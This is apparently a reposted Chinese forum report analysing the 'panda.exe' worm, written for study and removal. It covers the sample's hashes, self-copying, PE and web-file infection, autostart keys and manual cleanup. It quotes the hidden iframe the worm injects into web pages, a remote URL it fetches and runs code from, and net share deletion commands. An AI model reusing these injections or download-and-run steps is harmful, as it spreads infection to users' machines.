參考書籍:
VC++反彙編與逆向分析技術揭祕
姜曄病毒木馬實戰查殺
1.樣本概況
1.1 樣本信息
病毒名稱:panda.exe
文件大小:61952 bytes
MD5值:3520D3565273E41C9EEB04675D05DCA8
SHA1值:BB1D8FA7EE4E59844C1FEB7B27A73F9B47D36A0A
CRC32:23B6DA2A
病毒行為:
複製自身、感染PE文件、覆寫PE文件、修改註冊表自啟動、枚舉進程、結束殺軟進程、刪除安全軟件相關啟動項
1.2 測試環境及工具
火絨劍、OD、IDA、MD5工具、Win7
1.3 分析目標
分析此病毒的惡意行為
2.具體行為分析
2.1 主要行為
病毒的主要行為分三部分:
第一部分(自我保護與自我複製):
複製自身到系統目錄、雙擊被感染程序可以檢測判斷spclosv.exe是否存在,從被感染的文件分裂出病毒程序重新執行
第二部分(感染部分):
感染全盤(本地)、定時器感染全盤(本地)、局域網感染(聯網)
第三部分(病毒自我保護):
設置註冊表、停止殺軟、網站下載代碼並執行
2.1.1 惡意程序對用戶造成的危害(圖)
1.病毒複製自身到系統目錄下名字為spcolsv.exe
2.每個目錄下生成Desktop_.ini(記錄日期)文件
3.感染全盤二進制文件與腳本文件
4.將病毒Svcshare設置開機自啟動Run
5.盤符根目錄下生成setup.exe與autorun.inf文件
2.2 惡意代碼分析
2.2.1 病毒主邏輯
1.對比字符串是否相等,不相等則退出
2.2.2 病毒自我複製與自我保護分析詳解
1. 遍歷進程找到病毒進程(spcolsv.exe)就退出並結束掉
2.CopyFile到系統目錄(C:\Windows\System32\drivers),然後就運行程序(spcolsv.exe)
3.如果是病毒自身工作就完成了,假設是被感染程序就會額外執行一段代碼
4. 感染後程序頭五個字節都是Whboy並且結尾都帶數字
5.將源文件和病毒文件分離出來
6.創建批處理文件功能是判斷spclosv.exe是否存在,從被感染的文件分裂出病毒程序重新執行。
Path (C:\User\15PB-W~1\AppData\Local\Temp\75$$.bat)
2.2.3 病毒感染全盤分析詳解
病毒感染全盤分三方式感染分別為:全盤感染(本地)、建立計時器感染(本地)、局域網感染(需要網絡支持)
第一種全盤感染(本地)詳解:
1.遍歷磁盤,找出存在的盤符並保存
2. 排除特殊文件夾,進行感染操作遞歸遍歷目錄所有文件,並生成文件
3. 刪除系統備份文件.GHO
4. 如果是文件則進行感染,感染的文件類型分兩種:
第一類:exe、scr、pif、com(40800C)
部分代碼分析:
1.判斷感染程序是否進行,不是繼續
2.將要感染的程序內容寫入內存
3.判斷感染程序是否有WhBoy字符,有就說明被感染了
4.panda.exe內容直接覆蓋到要感染程序(此時是61KB)
5.被感染文件的內容和病毒文件融為一體
第二類:htm、html、asp、php、jsp、aspx
網頁感染:
主要將字符串(<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>)添加到文件末尾
第二種定時器感染方式(本地):
1.創建一個定時器每隔6000MS啟動一次0x40C0B8函數
2. 判斷盤符根目錄setup.exe、aoturun.inf文件是否存在,不存在就創建
第三種局域網感染方式:
1. TCP客戶端建立
2. 當病毒發現能成功聯接攻擊目標的139或445端口後,匹配管理員弱密碼,連接成功複製自身病啟動激活病毒
(因為服務器之類無法連接這裡我自己也只能大概分析不是很詳細就不貼圖了).
2.2.4 病毒自身保護分析詳解
1.病毒創建了四個定時器:
1.先分析第一個定時器(1秒觸發一次)40CD30函數
1.1將病毒Svcshare設置開機自啟動Run
1.2 設置不顯示文件隱藏(讓用戶無法顯示隱藏文件)
1.3添加特權
1.4遍歷到殺軟就關閉
1.5結束進程(任務管理器之類的)
2.分析第二個定時器(20分鐘觸發一次)40CE8C函數
2.1 從http://wangma.9966.org/down.txt網站讀取到網頁源代碼並且運行代碼
3.分析第三個定時器(10秒觸發一次)40CE94函數
3.1調用如下命令來刪除共享:
cmd.exe /c net share C$ /del /y
cmd.exe /c net share A$ /del /y
cmd.exe /c net share admin$ /del /y
4.分析第四個計時器(6秒觸發一次)407540函數
4.1 刪除服務、刪除安全軟件相關啟動項
3.解決方案(或總結)
3.1 提取病毒的特徵,利用殺毒軟件查殺
特徵包括:
http://wangma.9966.org/down.txt
3.2 手工查殺步驟或是工具查殺步驟或是查殺思路等。
1、刪除【C:\Windows\System32\drivers\spcolsv.exe】文件
2、刪除【HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVer
sion\Run】鍵項的svcshare
3、刪除每個盤符根目錄下生成兩個文件【autorun.inf和setup.exe】文件
4、設置【HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
\Advanced\Folder\Hidden\SHOWALL】,CheckedValue的鍵值設置為1(顯示隱藏文件)
致謝15PB對本人學習上的幫助
4.致謝
感謝15PB老師們的辛勤栽培!
轉載自看雪論壇
原文鏈接:http://bbs.pediy.com/thread-217802.htm